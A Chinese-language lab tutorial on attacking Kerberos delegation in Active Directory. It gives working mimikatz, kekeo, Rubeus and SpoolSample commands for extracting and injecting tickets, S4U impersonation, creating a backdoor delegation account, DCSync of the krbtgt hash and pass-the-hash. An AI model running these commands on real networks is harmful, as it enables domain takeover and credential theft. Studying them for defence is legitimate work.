本文主要介绍一下对Kerberos委派的一些常见攻击方法
实验环境:
DC2 域控 ,dc2.lab.local
IIS 运行IIS服务的域内主机
DESKTOP-WIN10 域内主机
WIN7 攻击机 域内主机 本地账户:WIN7\dtz
域管理员 LAB\Administrator LAB\dlive
服务账户 LAB\iis_svc
服务账号和主机账号都可以开启委派功能
下图为主机账户DESKTOP-WIN10委派配置
下图为服务账户iis_svc委派配置
可以看到主机账户和服务账户在委派功能上没什么区别,都存在三个选项
开启了委派功能的账户存在被攻击者利用的可能性,通过下面的命令(基于PowerView)可以发现域中开启了委派功能的账户
# Powerview,通过LDAP查询获取信息
# 非受限委派
Get-NetUser -Unconstrained -Domain lab.local
Get-NetComputer -Unconstrained -Domain lab.local
下图为Get-NetComputer的结果,查询出两个主机账户开启了非限制委派DC2和DESKTOP-WIN10(域控制器主机账户默认开启非限制委派),下图为DESKTOP-WIN10
# 受限委派
# 之前PowerView是有Get-DomainUser和Get-DomainComputer可以实现受限委派查询
# 但是在最新的master分支中这个功能被删掉了,不知道为什么,这里使用dev分支中的PowerView
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L4906
Get-DomainUser -TrustedToAuth -Domain lab.local -Verbose | fl
Get-DomainComputer -TrustedToAuth -Domain lab.local -Verbose | fl
下图为Get-NetUser运行结果,iis_svc账户开启限制委派,限制委派服务为cifs/DESKTOP-WIN10.lab.local
# 允许委派的账户 -AdminCount表示管理员账户
Get-NetUser -AllowDelegation -AdminCount -Domain lab.local
非受限委派,IIS服务账户iis_svc配置如下,iis_svc账户在IIS主机上用于启动iis.lab.local_pool
非受限委派协议流程
非受限委派的情况下,Service1可以获取用户的TGT,从而Service1可使用该TGT,模拟用户访问Service2服务。
在实验环境中,以开启委派功能的服务账户iis_svc运行服务的主机(在本实验环境下该主机名为IIS)上会缓存用户的TGT
所以攻击者只需提取IIS主机上保存的TGT,然后进行PTT攻击即可,如果可以获取域管理员的TGT,则可以获取域管理员权限
执行mimikatz,提取内存中保存的票据
下图为导出的LAB/dlive用户的TGT,同时还可以看到IIS主机账户的票据
在本环境中LAB/dlive域用户为域管理员,将该用户的TGT注入攻击者主机(win7)当前会话进行PTT攻击
在将TGT写入当前会话之后,使用klist查看当前会话中的票据,可以看到dlive.lab.local的TGT
然后访问DC上的文件系统,或直接使用Powershell Enter-PSSession访问DC即可
受限委派,IIS服务账户iis_svc配置如下,DESKTOP-WIN10是域内另一台主机,下图设置了iis_svc对WIN10-DESKTOP的CIFS服务的委派
受限委派协议流程
受限委派的情况下,服务账号只能获取某用户的TGS,从而只能模拟用户访问特定的服务。
在开启受限委派的服务所在主机中无法抓取到用户TGT
但是如果攻击者可以获取到开启非限制委派的服务账户的明文口令/NTLM Hash,也可以伪造TGT和S4U请求
伪装成服务账户以任意账户的权限(如域管理员)申请TGS
其中服务账户的明文口令可能可以通过Kerberoasting攻击获取
在知道服务账号明文口令的情况下,使用kekeo获取TGT
TGT被写入当前目录下的[email protected][email protected]文件中
kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /password:Passw0rd" exit
kekeo通过s4u请求以LAB\administrator用户身份访问CIFS的TGS
S4U2Self获取到的ticket和S4U2Proxy获取到的DESKTOP-WIN10 CIFS服务的TGS会以文件保存在当前目录下
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/DESKTOP-WIN10.lab.local" exit
mimikatz将获取到的TGS写入当前会话
查看缓存的票据,可以看到写入的TGS,然后即可dir访问远程主机DESKTOP-WIN10文件系统
上面是在获取到iis_svc服务账户的密码之后进行的攻击,kekeo也支持直接使用NTLM进行TGT请求
将iis_svc的NTLM为a87f3a337d73085c45f9416be5787d86,tgt::ask时将/password参数修改为/NTLM即可
kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /NTLM:a87f3a337d73085c45f9416be5787d86" exit
如果攻击者可以直接拿到IIS服务所在服务器的权限,也可以直接从内存中提取服务账户TGT,无需进行tgt::ask,直接tgt::s4u即可
# 提取ticket
mimikatz.exe "privilege::debug" "sekurlsa::ticket /export" exit
或者按照 http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/ 中Scenario 2介绍的方法
# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx
# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('[email protected]')
# actually impersonate the next context
$Context = $Ident.Impersonate()
# implicitly invoke S4U2Proxy with the specified action
ls \\DESKTOP-WIN10.LAB.LOCAL\C$
# undo the impersonation context
$Context.Undo()
我们之前说过主机账户也存在委派功能,但是主机账户的口令是系统随机生成的,破解拿到明文口令的可能性太小
一般使用主机账户做委派攻击时会使用其NTLM Hash,需要注意的一点是主机账户的用户名为主机名+$
如DESKTOP-WIN10的用户名为DESKTOP-WIN10$
第一次听到这种攻击方法是在n1nty大佬在KCON上的演讲
之后便去学习了n1nty大佬的文章,https://paper.seebug.org/620/
关于变种黄金票据的具体细节可以参考这个文章
变种黄金票据的原理为,利用限制委派账户,向tgs自身申请了一张域管理员访问tgs服务的票据,即TGT
TGT也可以看做TGS的一种,不过是访问tgs这个特殊服务的票据
tgs服务的spn为krbtgt/LAB.LOCAL,该服务以krbtgt服务账户运行的
小插曲
最初我测试这个变种黄金票据的时候是在Windows 2012域环境下测试,一直不成功
看SPN或Kerberos协议数据包也没看出什么问题
后来问了一下n1nty师傅,说是2012 及以后的KDC,受限委派的机制变成了Resource Based Constrained Delegation,有可能是这个原因
于是换成2008的域环境进行测试,果然可以成功
而关于如何在2012及以后的域控上实现黄金票据,我研究了好久也没能搞定,有知道的师傅求教Orz...
所以下面的测试环境换为
域 dlive.com
域控 Windows Server 2008 DC1.dlive.com
域管理员 DLIVE\Administrator
攻击者 Win7 内置用户 WIN7\dtz
变种黄金票据的流程如下
一、在获取域管理员权限之后,添加服务账户backdoor_svc,开启非限制委派,服务类型为krbtgt/DLIVE.COM
关于tgs服务的spn:
我们在域控上执行klist查看到任何一个域用户的TGT票据即可以发现,tgs服务的spn为krbtgt/DLIVE.COM
添加服务账户
New-ADUser -Name "Backdoor" -SamAccountName backdoor_svc -UserPrincipalName [email protected] -ServicePrincipalNames "backdoor/backdoor.dlive.com" -AccountPassword (convertto-securestring "Dubhe@1234" -asplaintext -force) -PasswordNeverExpires $True -PassThru | Enable-ADAccount
设置委派
$user = Get-ADUser backdoor_svc -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/DLIVE.COM") }
Set-ADAccountControl $user -TrustedToAuthForDelegation $true
二、攻击者通过已知的backdoor_svc口令,使用kekeo tgt::ask,获取backdoor_svc tgt
kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234" exit
三、攻击者通过kekeo tgs::s4u,获取DLIVE\Administrator访问krbtgt/DLIVE.COM的TGS,即DLIVE\Administrator的TGT
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:krbtgt/DLIVE.COM" exit
四、攻击者利用获取的域管理员的TGT控制域控制器
mimikatz.exe "kerberos::ptt [email protected]@[email protected]" exit
klist查看缓存的票据
以域管理员的身份访问域控
变种黄金票据在2012之后的域环境下没有试验成功
但是在2012及之后的域环境下还是有其他办法可以通过受限委派进行持久化控制的
这里利用了DC上的ldap服务,通过受限委派获取ldap服务的票据进行DCSync攻击
参考:https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/
给后门服务账户设置委派
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("ldap/DC2.lab.local") }
申请以LAB\Administrator身份访问ldap/DC2.lab.local的TGS
kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234" exit
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:ldap/DC2.lab.local" exit
mimikatz将TGS写入内存
mimikatz.exe "kerberos::ptt [email protected]@[email protected]" exit
DCSync读取krbtgt的HASH
mimikatz.exe "lsadump::dcsync /user:krbtgt /domain:lab.local" exit
下面就可以通过krbtgt伪造黄金票据了
也可以直接通过dcsync读取LAB\Administrator的HASH进行PTH
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:lab.local /ntlm:9492fbc31a047a42a454f0e1701103dc /run:cmd.exe" exit
参考:
https://adsecurity.org/?p=4056
https://www.youtube.com/watch?v=-bcWZQCLk_4&feature=youtu.be&t=2194
https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory
在已经控制一台非受限委派机器的情况下,攻击者可以提取该机器中缓存的TGT,但是如果域管理员未曾访问过该机器
,攻击者没办法获取到域管的TGT
在DerbyCon 8(2018年)会议上,Will Schroeder (@Harmj0y)、Lee Christensen (@Tifkin_)和Matt Nelson (@enigma0x3)提出了一种场景,当域控机器开启Print Spooler服务时(默认开启且以System权限运行),攻击者可以主动要求域控访问已被攻击者控制的非受限委派服务器,进而获取域控主机账户的TGT。当然这种攻击方式也适用于其他非域控机器。
但是这种攻击有一个限制是需要找到一台开启非受限委派的主机账户,而非服务账户。
在一些网络环境下开启非受限委派的主机账户可能不是很好找,DerbyCon 8该攻击方法的作者是以SHAREPOINT主机为例演示的。虽然开启非受限委派的主机账户可能不是很好找,但是这种方式仍然可以用作一种权限维持方式。
首先开启DESKTOP-WIN10主机账户的非受限委派
域控DC2上Print Spooler服务默认是自动运行的,下图是该服务的截图
攻击者现在已经拿下DESKTOP-WIN10的控制权限
最近harmj0y大佬发布了基于C#的Rubeus来弥补kekeo工具的一些不足
这里使用Rubeus的监听模式,监听登录会话提取TGT
# 以管理员身份运行
Rubeus.exe monitor /interval:5 /filteruser:DC2$
向DC2 Print Spooler发送请求,强制其访问DESKTOP-WIN10进行身份验证
# 以域用户身份运行
SpoolSample_v4.5_x64..exe DC2 DESKTOP-WIN10
适用于Windows 2012 R2以及更高版本的系统
参考:
https://docs.microsoft.com/zh-cn/windows-server/security/credentials-protection-and-management/protected-users-security-group#BKMK_HowItWorks
https://docs.microsoft.com/zh-cn/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts
If the domain functional level is Windows Server 2012 R2 , members of the group can no longer:
- Authenticate by using NTLM authentication
- Use Data Encryption Standard (DES) or RC4 cipher suites in Kerberos pre-authentication
- Be delegated by using unconstrained or constrained delegation
- Renew user tickets (TGTs) beyond the initial 4-hour lifetime
https://adsecurity.org/?p=1667
https://www.cnblogs.com/backlion/p/9268346.html
https://msdn.microsoft.com/en-us/library/cc246080.aspx
https://www.anquanke.com/post/id/92484#h2-0
http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/
https://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day3.html
https://adsecurity.org/?p=1667
https://adsecurity.org/?p=4056
https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory
https://docs.microsoft.com/zh-cn/windows-server/security/credentials-protection-and-management/protected-users-security-group#BKMK_HowItWorks
https://docs.microsoft.com/zh-cn/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts